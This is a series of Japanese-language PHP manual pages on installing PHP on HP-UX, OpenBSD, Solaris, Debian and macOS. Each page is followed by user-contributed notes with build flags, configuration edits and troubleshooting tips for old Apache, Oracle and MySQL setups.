このセクションでは、HP-UX へインストールする場合特有の注意とコツについて説明します

PHP を HP-UX にインストールするには、二通りの方法があります。 自分でコンパイルするか、あるいはコンパイル済みのバイナリを使用するかのどちらかです。

公式のコンパイル済みパッケージは、こちらにあります。 » http://software.hp.com/

このセクションをきちんと書き直すまで、PHP (および拡張モジュール) を HP-UX でコンパイルする方法についてのドキュメントをいったん削除します。 当面は、以下のドキュメントを参照ください。 » Building Apache and PHP on HP-UX 11.11

User Contributed Notes

Vinayak 23-Mar-2006 04:14
Installing PHP 5.x with Apache 2.x on HP UX 11i and configuring
PHP 5.x with Oracle 9i

I am very glad to share this information to configure PHP 5.x work
with Apache 2.x and Oracle 9i on HP UX 11i.

Step 1: Install Apache 2.x with DSO support:
--------------------------------------------

This is a stratight forward Apache installation with
--enable-so option

gzip -d httpd-2_0_NN.tar.gz
tar xvf httpd-2_0_NN.tar
cd httpd-2_0_NN

./configure \
--prefix=/var/apps/apache2 \
--enable-so \
--enable-mods-shared=most \
--libexecdir=/var/apps/apache2/libexec

You can add other options as required.

make

make install

Step 2: Install and configure PHP 5.x with Oracle 9i
----------------------------------------------------

Edit the ./configure file to change "$OCI8_DIR/lib" as "$OCI8_DIR/lib32"

By default, with Oracle 9i, "$OCI8_DIR/lib" will be poiting to
Oracle 64 bit libraries in "$OCI8_DIR/lib64" directory.
Unfortunately, PHP 5.x does not work with 64 bit oracle shared libraries.

Run configure..

$ ./configure \
--prefix=/var/apps/php \
--with-apxs2=/var/apps/apache2/bin/apxs \
--with-oci8=/oracle/app/product/9.0.2 \
--disable-libxml \
--enable-libgcc \
--enable-ftp \
--enable-calendar \
--enable-track-vars \
--enable-trans-sid \
--enable-sigchild \
--libexecdir=/var/apps/apache2/libexec \
--with-config-file-path=/var/apps/apache2/conf

--enable-libgcc \
--enable-sigchild \

You can add other options as required. You can use the --help
option to configure to get a complete list.

After configure runs, you must edit the file libtool.

$ vi ./libtool

At line 184, you should change the line from:

deplibs_check_method="unknown"
to
deplibs_check_method="pass_all"

so that PHP and mod_php are properly compiled.

3. Compile and install the files.

Run make. This should complete normally.

$ make

Run make install. This will fail when it attempts to call apxs.

$ make install

Step 3: Configure Apache 2.x
----------------------------

Edit httpd.conf file to include

For PHP 5:

LoadModule php5_module modules/libphp5.so

AddType application/x-httpd-php .php .phtml

Set environment variables in $APACHE_ROOT/bin/envvars file

SHLIB_PATH="/var/apps/apache2/lib:$SHLIB_PATH"
export SHLIB_PATH

LD_LIBRARY_PATH=$ORACLE_HOME/app/product/9.0.2
/lib32
export LD_LIBRARY_PATH

LD_PRELOAD=/usr/lib/libpthread.sl:$ORACLE_HOME/app/
product/9.0.2/JRE/lib/PA_RISC/native_threads/libjava.sl
export LD_PRELOAD

After lot of hard work, by following the above procedure,
we were able to make PHP 5.x is work with Apache 2.x
and Oracle 9i on HP UX 11i OS.

Hope this will save your time!!
Marcus dot Reimann at reimann-systemberatung dot de 29-Aug-2003 07:50
If you need an Apache2-Server with PHP4 under HP-UX 11.x, it's a good way to download the HP-WebServer from the HP-Website (http://software.hp.com). The HP-Webserver comes with numerous moduls. First install the HP-Webserver (swinstall -s /absolute_path_to_depot_file/name_of_depot_file). After that, download the newest PHP-Version from http://www.php.net (HP ships the HP-Webserver with an old PHP-Version) and unpack the tar-file in a working-directory.

Use the following parameters for configure PHP:
./configure --with-apxs2=/opt/hpws/apache/bin/apxs --prefix=/opt/hpws/apache/php [and so on...]

If configure prints the error "expr: An integer value was expected.", than you have to edit the Script "configure". Replace the line:
APACHE_VERSION=`expr $4 \* 1000000 + $5 \* 1000 + $6`
with the following (correct and very long) line:
APACHE_VERSION=`$APXS_HTTPD -v | head -1 | cut -f3 -d' ' | cut -f2 -d'/' | awk 'BEGIN { FS = "."; } { printf "%d", ($1 * 1000 + $2) * 1000 + $3;}'`

Why? The output of "httpd -v" prints the following string:
Server version: HP-UX_Apache-based_Web_Server/2.0.46
Server built:   Jun 26 2003 04:41:28
But the configure-Script can't deal with this string.
james at nospam dot hp dot com 28-Jan-2002 07:46
To build for HP-UX 10.X/11.X (and some other UNIX variants) with '--enable-sockets', you'll get an error about 'u_int' being redefined in /usr/include/netinet/in.h and ext/sockets/sockets.c will fail to compile.  The problem is this line from main/php_config.h:
#define in_addr_t u_int

The above define is a problem because HP-UX (and some other UNIXs) typedef in_addr_t.  A good workaround is to replace this define in main/php_config.h with the lines from the HP-UX 11.X netinet/in.h header file (which will work for 10.X as well):
#ifndef _IN_ADDR_T
#define _IN_ADDR_T
#ifdef  __LP64__
   typedef unsigned int   in_addr_t;
#else
   typedef unsigned long  in_addr_t;
#endif
#endif
spam at adhocinc dot com 11-Oct-2001 02:35
For PHP 4.0.6 under HP-UX 11.00, I ran into errors during the compilation related to "LC_CTYPE" and other "LC_" vars.  The compilation complained that "LC_" such and such first used in such and such function.  (I think the error first came up in php_pcre.c, then in basic_functions.c).  The solution was to add "#include <locale.h>" to the php.h file.  Compilation was successful after that was added, with no other issues.  Used gcc 2.95.3, apache 1.3.20, bison 1.28, flex 2.5.4.a.
steven at oakleafconsultancy dot com 23-Jul-2001 08:28
Just a quick point to those of you (like me!) who might not be sharp enough to notice this: If you want to install PHP on an HP-UX 11.x box then you'll need to download and install the 11.x (not 10.20) versions of the software (like gcc and bison).  I didn't notice this and spent a large proportion of a day trying to figure out why the software wouldn't install!
Steve
marshalm at ebrd dot com 17-May-2001 10:58
HP-UX 11.X PA-RISC installation with oracle (oci8). You need to install the HP-UX patch PHSS_22514 patch (updated libdld.sl), otherwise you will get errors with dlopen() and dlclose() not found during the apache integration stage.
jonas__linden at hotmail dot com 22-Jan-2001 09:05
Building under HP-UX11
If you are using HP ANSI C you have to add +e i.e -Aa -D_HPUX_SOURCE +e


OpenBSD へのインストール

このセクションでは、PHP を » OpenBSD 5.8 に インストールする場合に固有の注意事項とヒントについて説明します。

バイナリパッケージの使用

OpenBSD に PHP をインストールするには、バイナリパッケージを使用することが もっとも簡単で、また推奨される方法です。 コアパッケージは他のモジュールと分けられており、別個に インストールしたり、削除したりすることができます。OpenBSD の CD や FTP サイトから 必要なファイルを見つけることができます。

インストールに必要なメインのパッケージは php です。これには基本エンジン (と gettext と iconv) が含まれています。次に、 php-mysql や php-imap のようなモジュールパッケージを 探してください。これらのモジュールを php.ini 上で有効/無効にするには phpxs コマンドを使用する必要があります。

例1 OpenBSD パッケージインストールの例

# pkg_add php
# pkg_add php-fpm
# pkg_add php-mysql
  (install the PEAR libraries)
# pkg_add pear

Follow the instructions shown with each package!

  (to remove packages)
# pkg_delete php
# pkg_delete php-fpm
# pkg_delete php-mysql
# pkg_delete pear

OpenBSD のバイナリパッケージに関する詳細は、man ページの » packages(7) を 参照してください。

Ports の使用

» ports ツリー を使って PHP のソースを コンパイルすることもできます。ただし、この方法は OpenBSD に詳しいユーザーにのみ 推奨されます。PHP 4 ポートは core, extensions の 2 つのサブディレクトリに 分割されています。extensions ディレクトリはサポートされているすべての PHP モジュールのサブパッケージを生成します。 これらのうちのいずれかのモジュールを生成したくない場合には、 no_* FLAVOR を使用してください。例えば、imap モジュール のビルドをスキップするには FLAVOR を no_imap に セットします。

一般的な問題点

  • Apache や Nginx は OpenBSD のデフォルトサーバーではなくなりましたが、ports や packages で簡単に導入できます。新しいデフォルトサーバーの名前は 'httpd' です。
  • httpd は、デフォルトインストールでは、 » chroot(2) jail 内で実行されます。 これにより、PHP は、/var/www 以下のファイルにしか アクセスできないように制限されます。そのため、セッションを使用するには、 /var/www/tmp ディレクトリを作成するか、他のセッションバックエンドを 用いる必要があります。また、データベースのソケットは jail 内に置かれるか、 localhost インターフェイスが listen できるようにする必要があります。 ネットワーク関数を使用する場合は、/etc 内のファイル、たとえば /etc/resolv.conf や /etc/services を、 /var/www/etc に移動させる必要があります。 OpenBSD の PEAR パッケージは、適切な chroot 内のディレクトリに自動的にインストールされます。
  • OpenBSD 5.7+ においては、» gd 拡張モジュールのパッケージは XFree86 のインストールを必要とします。これは、 post-installation (OpenBSD FAQ#4 を参照ください) で追加できます。 xbase.tgz ファイルを指定しましょう。

過去のリリース

OpenBSD の過去のリリースは、静的にリンクされた PHP をコンパイルするために FLAVORS システムを使用していました。 この方法でバイナリパッケージを作成することは困難なため、 この方法は現在は使用されていません。 古い安定版の ports ツリーを使用することもできますが、 これらは OpenBSD チームによりサポートされていません。 これに関するコメントがある場合、port の現在の管理者は Anil Madhavapeddy (avsm at openbsd dot org) です。

User Contributed Notes

pete att shitnami.net 02-Jun-2015 05:27
A brief update: As of OpenBSD 5.7 (2015) the installation process is extremely easy. Apache httpd was replaced by Nginx, which has since been further replaced by OpenBSD's own server, aptly named 'httpd'.

'httpd' is installed by default, everything else you can still get from packages, with a couple name changes (including Apache and Nginx.) You will be asked which version to install - at the time of writing, versions 5.3.29p1 thru 5.6.5 are available.

#pkg_add php
#pkg_add php-fpm
#pkg_add pear

----
OpenBSD disables most services by default; a blank '_flags' line overrides default 'NO' value. pkg_scripts are located in /etc/rc.d/
To start at boot, edit "/etc/rc.conf.local":

  httpd_flags=
  pkg_scripts=php_fpm

----
Example /etc/httpd.conf
#
# paths are relative to chroot - e.g, '/var/www/run/php-fpm.sock'
server "default" {
      listen on * port 80
      location "*.php" {
            fastcgi socket "/run/php-fpm.sock"
      }
      directory index index.php
      root "/htdocs"
}

----
For date, timezone issues, copy /etc/localtime:
    $cp /etc/localtime /var/www/etc/localtime

If 'localhost' DNS name fails to resolve, copy /etc/hosts
    $cp /etc/hosts /var/www/etc/hosts
hg at ostc dot de 15-May-2005 10:45
Also you should add "-a /var/www/dev/log" to the syslogd_flags
for propper logging of php-extensions like imap.so and create
a /var/www/etc/master.passwd with an www-user-entry and run
pwd_mkdb -d /var/www/etc /var/www/etc/master.passwd for propper
use of libc-client.a functions in imap.so.
openbsd-fanatic 10-May-2005 01:51
I am user that is just migrating to open source and thought I would take openbsd for a spin. This article, by Gregory L. Magnusson, really helped me to get a working apache-php-mysql server going on openbsd.
http://www.devx.com/security/Article/28059/0/page/1
ameen(at)dausha(dot)net 02-Nov-2003 07:47
I just finished spinning my wheels with PHP/Apache on OpenBSD 3.3, and it took a Google to fix my problem. I followed the instructions by (0429196301 at netcabo dot pt) written on Sep 19, 2003 and kept being fed a segmentation fault when I tried to start httpd.

Then I read the page cited below that suggested playing with the order of the LoadModules, and put the PHP first. I followed that recommendation and httpd started without problems!

Page that saved me:
http://archives.neohapsis.com/archives/openbsd/2002-04/3074.html

"Change around the order of the Apache modules, this is one of the
drawbacks to the module API for Apache 1.3 is that the order is very
important. I would try making the PHP 4 module first, Perl module second
and FP module last. "
sanchero [at] gvsu [dot] edu 09-May-2003 11:59
On OpenBSD 3.2, given the steps outlined above using pre-built packages you will get a new "/var/www/conf/httpd.conf" that contains a section like this:

<IfDefine SSL>
AddModule mod_ssl.c
AddModule mod_php4.c
</IfDefine>

This causes mod_php4 to load only when starting Apache w/SSL, so if this isn't what you want add the mod_php4 line again above (or below) this section, like so:

AddModule mod_php4.c   <<------ SEE? - now should load normally.
<IfDefine SSL>
AddModule mod_ssl.c
AddModule mod_php4.c
</IfDefine>

I also added this for good measure:

<IfModule mod_php4.c>
         AddType application/x-httpd-php .php [blah blah]
</IfModule>

Seems to work.


Solaris へのインストール

このセクションでは、Solaris に PHP をインストールする際の注意とコツを説明します。

必要なソフトウエア

Solaris には、C コンパイラおよび関連するツールがインストールされていない事が しばしばあります。GNU 版の各種ツールが必要となりますが、その理由については こちらの FAQ をお読みください。

PHP の配布物を展開するために必要なソフトウエアは

  • tar
  • gzip あるいは
  • bzip2

PHP をコンパイルするために必要なのは

  • gcc (推奨。他のC コンパイラも動作するかもしれません)
  • make
  • GNU sed

別の拡張モジュールをビルドしたり PHP のコードをハックしたりするためには、これらも必要になるでしょう。

  • flex (PHP 5.2 まで)
  • re2c
  • bison
  • m4
  • autoconf
  • automake
加えて、(Oracle や MySQLなどの) 使用する設定に応じた追加ソフトウエアを インストール（おそらくはコンパイルも）する必要があります。

パッケージの使用

Solaris へのインストールでは、 pkgadd を使用すれば、必要なコンポーネントのインストール処理を 簡単に行うことができます。 The Image Packaging System (IPS) for Solaris 11 Express にも、pkg コマンドを使ったインストールに必要なコンポーネントの大半が含まれています。

User Contributed Notes

Senny 19-Apr-2016 01:44
Here is my successful installation of PHP 5.5.30 on Solaris 10 6/06 u2 SPARC:

set LD_LIBRARY_PATH, LD, CC and PATH variables

root# LD_LIBRARY_PATH=/usr/local/lib:/usr/lib:/usr/openwin/lib:/export/home/db/oracle/lib:/export/home/db/oracle/lib32
root# CC=gcc
root# LD=/usr/ccs/bin/ld
root# PATH=$PATH:/usr/ucb:/usr/local/bin/:/usr/sfw/bin/:/opt/csw/bin/:/usr/ccs/bin/
root# export LD_LIBRARY_PATH CC PATH LD

./configure  --with-oci8=/export/home/db/oracle --with-apxs2=/usr/apache2/bin/apxs --with-config-file-path=/etc/apache2 --with-iodbc=/usr/local --enable-ftp --with-freetype-dir=/usr/local/freetype/ --with-sybase-ct=/usr/local/freetds/ --enable-opcache=no --without-pear

make
make test
make install
ariedederde 18-Jun-2011 12:58
Install php on solaris express:

pkg search php
part of output is e.g.

pkg:/web/php-52@5.2.12-0.151.0.1

pkg install php-52

php binary installs in /usr/php/5.2/bin/php
julie at baumler dot com 28-Dec-2006 09:22
There's a great how-to for Solaris 10 from Mel Lester Jr at http://meljr.com/~meljr/AMPSolaris10.html.

It even shows how to install php in a global zone and configure it in your other zones.
francois at tekwire dot net 06-Oct-2006 01:11
A detailed HOWTO document describing how to build Apache & PHP on Solaris is available at http://www.tekwire.net/redir.php/build_apa_php

This document also explains how to build from scratch every piece of software they can depend on, including almost every Apache modules and PHP extensions : Apache 2.0, PHP V4 & V5, zlib, OpenSSL, OpenLDAP, expat, iconv, mod_jk, xml2, xslt, png, jpeg, freetype, bzip2, curl, imap, MySQL, PostgreSQL, mm.

Also includes a cute dependency diagram making clear the relationships between all these libraries.
ozone at cname dot com 15-Jan-2006 09:46
php >= 5.1.1 requires a fully GNU toolchain on solaris; /usr/ccs/bin/ld will fail to link. see bug 35496.
AxL 19-Dec-2005 10:48
If you have problems building php with sqlite on solaris, add "-lrt" library so you dont get the fdatasync undefined symbol error.
anacreo 17-Dec-2004 08:11
Below was copied from a Sun Forum -- if having problems compiling on Solaris 10 try this:

Re: where is ctid_t defined? (Solaris 10)
Author: Juergen.Keil         Nov 17, 2004 10:37 AM (reply 1 of 10)
ctid_t is defined in /usr/include/sys/types.h ("typedef id_t ctid_t;").

I guess what has happend is that you're using a gcc compiler that
was build on Solaris 9 (or some other Solaris release older than
Solaris 10 b69), and this gcc release has a set of "fixed" gcc specific
headers that don't match your s10b69 system headers any more.

The fix is to build a fresh set of gcc "fixed" headers:

# cd /opt/sfw/gcc-3/lib/gcc-lib/i386-pc-solaris2.9/3.3.2/install-tools/

# cat > mkheaders.conf
SHELL=/bin/sh
SYSTEM_HEADER_DIR="/usr/include"
OTHER_FIXINCLUDES_DIRS=""
FIXPROTO_DEFINES="-D_XOPEN_SOURCE"
STMP_FIXPROTO="stmp-fixproto"
STMP_FIXINC="stmp-fixinc"
^D

# ./mkheaders
xlark at sdf dot lonestar dot org 11-Jul-2003 07:48
If you do a "Core Install" of Solaris,  be sure you have installed the SUNWlibm and SUNWlibms packages.  PHP 4.2.3 fails to compile without them.

If you get errors with GCC about math.h, then you don't have them installed.
ejflores at alcatel dot es 03-Jul-2003 06:14
./configure not run fine with /usr/ucb/tr you need to install GNU textutils
ineves at iportalmais dot pt 07-Mar-2003 03:09
I have compiled php 4.2.3, on my solaris 9, sparc, it works, i have gcc 3.2.2, from sunfreeware.org, i have compiled with

./configure --prefix=/opt/php --with-apxs=/opt/apache/bin/apxs --with-pgsql=/opt/pgsql --with-imap=/usr/src/soft/imap-2002b --with-ldap --with-imap-ssl=/usr/local/ssl

It compiles, but when i try to run it says something like:

bash-2.05# /opt/apache/bin/apachectl start
Syntax error on line 205 of /opt/apache/conf/httpd.conf:
Cannot load /opt/apache/libexec/libphp4.so into server: ld.so.1: /opt/apache/bin/httpd: fatal: relocation error: file /opt/apache/libexec/libphp4.so: symbol ldap_start_tls_s: referenced symbol not found
/opt/apache/bin/apachectl start: httpd could not be started

This means that the ldap librarys that came with solaris, are not very fine, you should use from openldap.org packages...

it is using this library:

bash-2.05# ldd /opt/apache/libexec/libphp4.so
    ...
    libldap.so.5 =>  /usr/lib/libldap.so.5

his one is from solaris installation.

(sorry about my english)
nicos at php dot net 06-Jan-2003 07:49
Note that you also need GNU sed or you'll have some errors lile "Output line too long."
m at hackerz dot uk dot co 15-Oct-2002 09:49
Compiled Ok on Solaris 9 after the addition of Bison Flex automake and autoconf, adding /usr/local/bin to the path and linking /usr/ccs/bin/ar to /usr/local/bin/ar.
php at woodNO-SPAMstea dot com 26-Jun-2002 11:15
Howard Glynn's post from May 22 is right on - if you're running Solaris 8, make sure you get the latest Recommended patch cluster. I've been struggling with that library problem that happens when you start Apache for several weeks, tweaking the config, setting LD_LIBRARY_PATH, etc. I couldn't believe that the PHP developers wouldn't have the Solaris build right - seems like a fairly important OS. But the latest Solaris patch cluster fixed the problem, so I guess it was my fault for not being up to date. I'm running PHP 4.2.1 now with Apache 2.0.36, works great.
ltfrench at vt dot edu 09-Jun-2002 02:09
To get PHP 4.2.0 or better to make on Solaris 8 (using gcc and gnu autoconf) you need to:
ln -s /usr/local/bin/gcc /usr/local/bin/cc

See: http://bugs.php.net/bug.php?id=16833
howardglynn at hotmail dot com 22-May-2002 10:26
I've had a lot of problems with "dn_skipname" reference errors when trying to do a php / apache shared-library install on solaris 8. All compiling was clean, but could not restart apache with mod_php. After much trial and error, I found a solution by installing patch 109326-07 which has some fixes for resolver (I think). I had one web server without the patch, and one with it, and was able to show the same commands compiling, working and restarting on one, but not the other. Installed patch on machine, compiled clean and was up and running after doing this. Works great. Get the patch from sun.com
shane dot kinsch at netracorp dot comNOSPAM 17-Feb-2002 12:49
PHP 4.1.1 / Apache 1.32 Buile Issues (Solaris 2.8)

Apache build options:
./configure --prefix=/usr/local/etc/apache --enable-module=rewrite --enable-shared=rewrite

PHP build options:
./configure --with-mysql=/usr/local/etc/mysql --with-apxs=/usr/local/etc/apache/bin/apxs

Both Apache and PHP compiled without errors and installed cleanly.

The Error when starting Apache:
Syntax error on line 208 of /usr/local/etc/apache/conf/httpd.conf:
Cannot load /usr/local/etc/apache/libexec/libphp4.so into server:
ld.so.1: /usr/local/etc/apache/bin/httpd: fatal: relocation error: file /usr/local/etc/apache/libexec/libphp4.so: symbol dn_skipname: referenced symbol not found ./apachectl start: httpd could not be started

Line 208 in the httpd.conf file is:
LoadModule php4_module        libexec/libphp4.so

The solution:
For some reason, even though LD_LIBRARY_PATH was being set properly,
it wasn't being read fully.  You will need to create a runtime
linking environment by doing this:

#crle -c /var/ld/ld.config -l /usr/lib:/usr/local/lib:/usr/local/etc/mysql/lib

Shane Kinsch
NetraCorp LLC / SecurNET Consulting
Louis at ewens dot com 22-Jun-2001 07:39
On Solaris, if upon starting Apache you get an error like this:

Syntax error on line 33 of /usr/local/apache/conf/httpd.conf:
Cannot load /usr/local/apache/libexec/libphp4.so into server: ld.so.1: /usr/loca
l/apache/bin/httpd: fatal: libmysqlclient.so.10: open failed: No such file or directory
./apachectl start: httpd could not be started

..try inserting the following lines into the configuration section of your apachectl startup shell script:

LD_LIBRARY_PATH=${LD_LIBRARY_PATH}:/usr/local/mysql/lib/mysql
export LD_LIBRARY_PATH

Change the /usr/local/mysql/ prefix to where ever your MySQL installation is. Make sure to add on the /lib/mysql extension to your own path though.

Do your normal "apachectl start" command to start Apache and voila, no more error. Apachectl can be found in the bin directory of your Apache installation.


Debian GNU/Linux へのインストール

このセクションでは、» Debian GNU/Linux に PHP をインストールする際の注意事項とヒントについて説明します。

警告

サードパーティが作った非公式のビルドについてはここではサポートしていません。 何かバグを見つけた場合は、 » ダウンロードページ から取得した最新のビルドでそれが再現するかを確認し、 再現しない場合は Debian チームにバグ報告をお願いします。

Unix 上で PHP をビルドする方法は Debian でもそのまま使えます。 しかし、このページではもうひとつの方法として Debian 固有の情報を扱います。 apt-get や aptitude といったコマンドの使い方です。 このマニュアルページでの説明は、これらふたつのコマンドのどちらを使っても実行できます。

APT の使用

まず、Apache 2 と統合する場合は libapache2-mod-php5、PEAR を使う場合は php-pear などの関連パッケージが必要となることを知っておきましょう。

次に、パッケージをインストールする前にはパッケージ一覧を最新に更新しておくようにしましょう。 これは、apt-get update コマンドで行います。

例1 Debian で Apache 2 と組み合わせるインストール例

# apt-get install php5-common libapache2-mod-php5 php5-cli

APT により、Apache 2 用の PHP 5 モジュールとその依存モジュールが自動的にインストールされます。 インストール中に Apache を再起動する旨が表示されなかった場合は、手動で再起動する必要があります。

例2 PHP インストール後に Apache を停止・起動させる

# /etc/init.d/apache2 stop
# /etc/init.d/apache2 start

よりよい設定の管理

ここまでのセクションでは、PHP のコアモジュールだけをインストールしました。 おそらく、さらに MySQL や cURL、 GD などの追加モジュールもインストールしたくなることでしょう。 これらも apt-get コマンドでインストールすることができます。

例3 追加の PHP 5 パッケージを探す方法

# apt-cache search php5
# aptitude search php5
# aptitude search php5 |grep -i mysql

上記の出力を見てわかるとおり、(php5-cgi や php5-cli, php5-dev といった 特別なパッケージのほかにも) さまざまなパッケージがあり、インストールすることが可能です。 必要なものを見定めて、apt-get か aptitude でインストールしましょう。 Debian は依存性のチェックを行うので、たとえば MySQL と cURL をインストールする場合はこのようになります。

例4 PHP と MySQL、cURL のインストール

# apt-get install php5-mysql php5-curl

APT は自動的に、 /etc/php5/apache2/php.ini や /etc/php5/conf.d/pdo.ini などの php.ini に適切な行を追加し、extension=foo.so といった内容が書き込まれます。しかし、これらの変更を有効にするにはウェブサーバー (Apache など) を再起動しなければなりません。

よく起きる問題

  • PHP スクリプトがウェブサーバーで実行されない場合は、 おそらく PHP がウェブサーバーの設定ファイルに追加されていないのでしょう。 Debian の場合、設定ファイルは /etc/apache2/apache2.conf のようになります。詳細は Debian のマニュアルを参照ください。
  • 拡張モジュールをインストールしたのに関数が未定義だと言われたら、 適切な ini ファイルが読み込まれているかどうかと インストール後にウェブサーバーを再起動したかどうかを確認しましょう。
  • Debian (およびその派生物) でパッケージをインストールする基本的なコマンドは apt-get と aptitude のふたつです。 しかし、これらのコマンドの微妙な違いについての説明は、このマニュアルでは行いません。

User Contributed Notes

kearney dot taaffe at gmail dot com 09-Jan-2018 02:24
Compiling PHP on Ubuntu boxes.

If you would like to compile PHP from source as opposed to relying on package maintainers, here's a list of packages, and commands you can run

STEP 1:
sudo apt-get install autoconf build-essential curl libtool \
  libssl-dev libcurl4-openssl-dev libxml2-dev libreadline7 \
  libreadline-dev libzip-dev libzip4 nginx openssl \
  pkg-config zlib1g-dev

So you don't overwrite any existing PHP installs on your system, install PHP in your home directory. Create a directory for the PHP binaries to live

    mkdir -p ~/bin/php7-latest/

STEP 2:
# download the latest PHP tarball, decompress it, then cd to the new directory.

STEP 3:
Configure PHP. Remove any options you don't need (like MySQL or Postgres (--with-pdo-pgsql))

./configure --prefix=$HOME/bin/php-latest \
    --enable-mysqlnd \
    --with-pdo-mysql \
    --with-pdo-mysql=mysqlnd \
    --with-pdo-pgsql=/usr/bin/pg_config \
    --enable-bcmath \
    --enable-fpm \
    --with-fpm-user=www-data \
    --with-fpm-group=www-data \
    --enable-mbstring \
    --enable-phpdbg \
    --enable-shmop \
    --enable-sockets \
    --enable-sysvmsg \
    --enable-sysvsem \
    --enable-sysvshm \
    --enable-zip \
    --with-libzip=/usr/lib/x86_64-linux-gnu \
    --with-zlib \
    --with-curl \
    --with-pear \
    --with-openssl \
    --enable-pcntl \
    --with-readline

STEP 4:
compile the binaries by typing: make

If no errors, install by typing: make install

STEP 5:
Copy the PHP.ini file to the install directory

    cp php.ini-development ~/bin/php-latest/lib/

STEP 6:

cd ~/bin/php-latest/etc;
mv php-fpm.conf.default php-fpm.conf
mv php-fpm.d/www.conf.default php-fpm.d/www.conf

STEP 7:
create symbolic links for your for your binary files

   cd ~/bin
   ln -s php-latest/bin/php php
   ln -s php-latest/bin/php-cgi php-cgi
   ln -s php-latest/bin/php-config php-config
   ln -s php-latest/bin/phpize phpize
   ln -s php-latest/bin/phar.phar phar
   ln -s php-latest/bin/pear pear
   ln -s php-latest/bin/phpdbg phpdbg
   ln -s php-latest/sbin/php-fpm php-fpm

STEP 8: link your local PHP to the php command. You will need to logout then log back in for php to switch to the local version instead of the installed version

# add this to .bashrc
if [ -d "$HOME/bin" ] ; then
  PATH="$HOME/bin:$PATH"
fi

STEP 9: Start PHP-FPM

    sudo ~/bin/php7/sbin/php-fpm
marin at sagovac dot com 23-Mar-2014 01:10
To install LAMP stack on Ubuntu (+Server) from 10.04 you need first install taskel and then lamp-server for example:

Install taskel, follow terminal guides:
sudo apt-get install tasksel

Install LAMP stack package from Ubuntu repository:
sudo tasksel install lamp-server
thumbs at apache dot org 27-Jun-2013 05:50
To refresh this document, perhaps it would be worth mentioning more modern methods to serve php content under apache httpd.

Specifically, the preferred method is now fastcgi, using either of those recipes:

(mod_fastcgi, httpd 2.2)
http://wiki.apache.org/httpd/php-fastcgi

(mod_fcgid, httpd 2.2)
http://wiki.apache.org/httpd/php-fcgid

(mod_proxy_fcgi, httpd 2.4)
http://wiki.apache.org/httpd/PHP-FPM

While the legacy mod_php approach is still applicable for some older installations, the fastcgi method is much faster, and require much less RAM to operate, based on similar traffic patterns.

Thank you!
juraj at jurajsplayground dot com 08-May-2009 05:59
On Ubuntu (since 7.04), rather do:
sudo tasksel install lamp-server

Details:
https://help.ubuntu.com/community/ApacheMySQLPHP
tranzbit at yahoo dot com 02-May-2009 01:59
On Ubuntu:

sudo apt-get install apache2 php5 mysql-client-5.0 mysql-server-5.0 phpmyadmin libapache2-mod-php5 libapache2-mod-auth-mysql php5-mysql

then restart the computer/start mysql manually
From:
http://ubuntuforums.org/showthread.php?t=186492
John Fisher 08-Feb-2007 04:53
With Apache2 and Php4 under Debian Sarge there is an extra configuration file :  /etc/apache2/sites-available/default
This file is not clearly documented, at least not for noobs, in Apache docs.

It overrides the conf file in the way you expect the /etc/apache2/conf.d/apache2-doc  to do according to the README.

Add ExecCGI to it to get rid of "Options ExecCGI is off in this directory"  errors.


macOS へのインストール

目次

  • パッケージの使用
  • バンドルされている PHP の使用法
  • macOS 上での PHP のコンパイル

本章では、PHP を macOS にインストールする際の注意事項とコツを説明します。 PHP は Mac にバンドルされています。また、コンパイルの手順は Unix へのインストールガイド と同じです。

User Contributed Notes

jmikola at gmail dot com 24-Feb-2015 08:27
For those using Homebrew, Justin Hileman maintains a blog post entitled "(Re)installing PHP on Mac OS X", which documents how to build PHP and extensions: http://justinhileman.info/article/reinstalling-php-on-mac-os-x/
chris at spookee dot de 16-Oct-2014 09:02
There is a "One Line Installation" tool to use PHP 5.6/5.5/5.4/5.3 for
OS X 10.6/10.7/10.8/10.9/10.10 with the build-in Apache with lots of extensions included:

http://php-osx.liip.ch

I hope posting this link is allowed, because it helped me a lot to get the latest PHP-Version running...

Included extensions:

bcmath bz2 calendar Core ctype curl date dom dtrace ereg exif fileinfo filter ftp gd gettext hash iconv imap intl json ldap libxml mbstring mcrypt memcache memcached mhash mongo mssql mysql mysqli mysqlnd OAuth odbc openssl pcntl pcre PDO pdo_dblib pdo_mysql pdo_pgsql pdo_sqlite pgsql Phar posix Reflection session shmop SimpleXML soap sockets solr SPL SQLite sqlite3 standard sysvmsg sysvsem sysvshm tidy tokenizer wddx xdebug xhprof xml xmlreader xmlrpc xmlwriter xsl zip zlib Xdebug

available but disabled by default: apc, xslcache, twig, uploadprogress
zoonman at gmail dot com 30-May-2014 01:09
I found good gist how to install PHP 5.4 and 5.3 side by side on Max OSX via MacPorts. I suppose, it is applicable for PHP 5.5 too.
https://gist.github.com/raphaelstolt/2721719
Dan Black 08-Mar-2007 08:00
My httpd.conf had some of the lines, but not all of them -- mine was missing the LoadModule and AddModule lines for php.  I'm not sure why -- I don't delete any of those; I just comment them out if I'm not using them.  Plus, the note above put a space in "LoadModule"; it has no space.  I didn't know about the "apachectl graceful" trick, though -- since "httpd -k restart" stopped working (probably around 10.2), I had just been doing it manually -- find the process, kill it, and hit httpd again -- thanks for the tip!

So for those who are missing any of the lines, here are the full lines.

In the section with all the other LoadModules:
  LoadModule php4_module        libexec/httpd/libphp4.so</div>

Directly below that section should be the AddModules; you need:
  AddModule mod_php4.c

And then the AddType lines should be right after the language priorities (so after the AddCharset lines and after the LanguagePriority bit):
  AddType application/x-httpd-php .php
  AddType application/x-httpd-php-source .phps

Then restart apache/httpd as described above, and hopefully you should be good.

BTW, the actual module should be at:
/usr/libexec/httpd/libphp4.so
So if things fail, you can check to see if that's there.

Thanks to others who posted here; it definitely helped and got me on the right track.  I just had to find the module manually to write my own LoadModule line.
Jeff Hayden 09-Sep-2006 11:17
Just a note. The darwinports software is now macports and you can get it at: http://www.macports.org/

If you use macports, be sure to change any refernces you may have in your calling scripts to macports as the file macports now gets installed.
andreas at fink dot org 18-Aug-2004 12:01
To build on MacOS X 10.3.5 set the environment variable CFLAGS in the following way (depending on your shell)

setenv CFLAGS "-DBIND_8_COMPAT=1 -DEAPI -O3"

export CFLAGS="-DBIND_8_COMPAT=1 -DEAPI -O3"

Then launch configure with the options:

./configure --prefix=/usr --mandir=/usr/share/man  ....

The -DBIND_8_COMPAT=1 gets you over a problem in the DNS files because MacOS X has definitions for Bind9 and PHP expects Bind8 definitions. -DEAPI is needed if you build it for Apache 1.3.31. -O3 enables the gcc optimizer.

You can also add one of the following lines to your CFLAGS depending on the CPU you use to further improve speed:
-mcpu=G3 -mtune=G3
-mcpu=G4 -mtune=G4
